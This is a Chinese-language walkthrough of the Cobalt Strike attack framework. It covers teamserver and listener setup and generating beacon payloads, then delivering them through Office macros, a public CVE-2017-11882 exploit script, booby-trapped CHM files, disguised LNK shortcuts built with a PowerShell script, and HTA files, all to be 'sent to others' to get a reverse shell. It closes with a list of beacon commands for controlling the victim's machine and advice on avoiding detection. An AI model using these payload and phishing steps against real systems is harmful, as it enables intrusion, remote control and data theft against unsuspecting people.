Ubuntu 默认只有openjdk的源,但是cobalt strike建议使用oracle jdk需要需要先加入源。
- apt-get install software-properties-common python-software-propertie
- add-apt-repository ppa:webupd8team/java
- apt-get update
- apt-get install oracle-Java8-installer
安装成功:
下载好Cobalt Strike工具然后解压缩
进入Cobalt Strike文件内部开启服务
sudo ./teamserver 10.60.17.46 123456
后面这两个数是服务器IP(ubuntu的IP和密码)
客户端需要安装java环境,平台并无特殊要求。
在windows下双击cobaltstrike.jar
host:服务器主机
port:50050
user:自定
password:服务器设置的
客户端主界面
首先配置监听器:
点击上方Cobalt Strike选项——>在下拉框中选择listeners——>在下方弹出区域中单机add
name:为监听器名字。
选择payload类型
host为shell反弹接受主机(服务端IP)
port为反弹端口
其实,监听器的作用很简单,主要是为了接受payload回传的各类数据 比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的
beacon 为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smb[pipe],另外,beacon shell的内置功能也非常多- foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器
点击attacks——>packages——>windows executable
listener为监听器名字
output为输出靶机类型。
点击generate弹出的对话框中选择保存位置和输入payload名字。
在windows靶机中双击payload生成文件(artifact.exe)
得到反弹shell
主机上线以后需要将默认心跳包改成0,cobalt strike为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿。
修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定
右键弹出的内容下拉菜单中选择Interact,上线主机。
office钓鱼在无需交互、用户无感知的情况下,执行Office文档中内嵌的一段恶意代码,从远控地址中下载并运行恶意可执行程序,例如远控木马或者勒索病毒等。
Cobalt Strike office钓鱼主要方法是生成一段vba代码,然后将代码复制到office套件中,当用户启动office自动运行
点击Cobalt Strike主界面中attacks->packages->ms office macro
弹出界面选择Listener,单机确定
对话框中给出每一步仔细操作,单机copy macro按钮
当目标机器运行文档以后,Cobalt Strike会接受到目标机器反弹的shell
目标则会增加一个rundll32.exe的进程
漏洞影响
下载https://github.com/Ridter/CVE-2017-11882python攻击脚本。
虽然是栈溢出漏洞,但是该漏洞对于命令有限制,分为可以执行43b和执行109b,所以在利用过程需要注意命令长度。
python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe"
CHM介绍
这里制作CHM需要用到一个工具就是 EasyCHM
创建一个文件夹(名字随意),在文件夹里面再创建两个文件夹(名字随意)和一个index.html文件,在两个文件夹内部创建各创建一个index.html文件。
先将下列代码复制到根文件夹中的index.html中。
Mousejack replay
command exec
打开我们的EasyCHM工具
后点击新建
然后导入自己创建的文件夹,点击确定后再点击编译,在弹出的对话框中点击生成CHM按钮
它会给你生产一个CHM文件,给别人发过去,一旦点击就会给弹出计算机
启动Cobalt Strike,点击attacks——>web Drive by——>scripted web Delivery在弹出的对话框中将type类型设置为powershell然后单击launch按钮
再用代码将上面创建的根文件夹中的index.html代码中的calc.exe替换掉。
Mousejack replay
command exec
生产CHM发送给别人,点击后获得反弹的shell
lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。
lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。
创建个txt文本写入下面代码然后改文件后缀名为.ps1。
cmd /c calc.exe
右键文件powershell运行后会弹出计算器
首先通过Cobalt Strike的attacks——>web Drive by——>scripted web Delivery
tpye类型为powershell,然后单机launch。生产代码。
还记的上面做的那个简单的powershell么,后缀改回txt,将生成的代码替换掉calc.exe
将下面的powershell代码写入.ps1文件,右键运行powershell。
$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
生成test.lnk文件,而且图标改了(powershell执行文件要和test.txt要在一个目录下,这个图标所在位置就在%SystemRoot%\System32\Shell32.dll目录下)
后将test.lnk发送给他人,获得反弹shell。
Cobalt Strike,attacks——>packages——>HTML application
选择powershell然后单机generate,选择保存路径。
将生成的.hta文件发送给别人,点击后获得shell
相信你已经能拿到一个beacon的shell了。
下面是一些基本的使用命令,但是cs监听器对中文支持并不友好,会对中文产生乱码。
help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样,eg: help checkin note 给当前目录机器起个名字, eg: note beacon-shell cd 在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/' eg: cd c:\\ mkdir 新建目录, eg: mkdir d:\\beacon rm 删除文件或目录, eg: rm d:\\beacon upload 上传文件到目标系统中 download 从目标系统下载指定文件,eg: download C:\\Users\\win7cn\\Desktop\\putty.exe cancel 取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下 shell 在目标系统中执行指定的cmd命令, eg: shell whoami getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权 pwd 查看当前在目录系统中的路径 ls 列出当前目录下的所有文件和目录 drives 列表出目标系统的所有分区[win中叫盘符] ps 查看目标系统当前的所有的进程列表 kill 杀掉指定进程, eg: kill 4653 sleep 10 指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可 jobs 列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除 jobkill 如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务, eg: jobkill 1345 clear 清除beacon内部的任务队列 checkin 强制让被控端回连一次 exit 终止当前beacon 会话 ctrl + k 清屏
有些可能会触发敏感api导致防护报警,另外进程注入,被控端可能感到非常明显的卡顿,工具也有许多不完善的地方
点击attacks——>Web Drive-by——>Clone site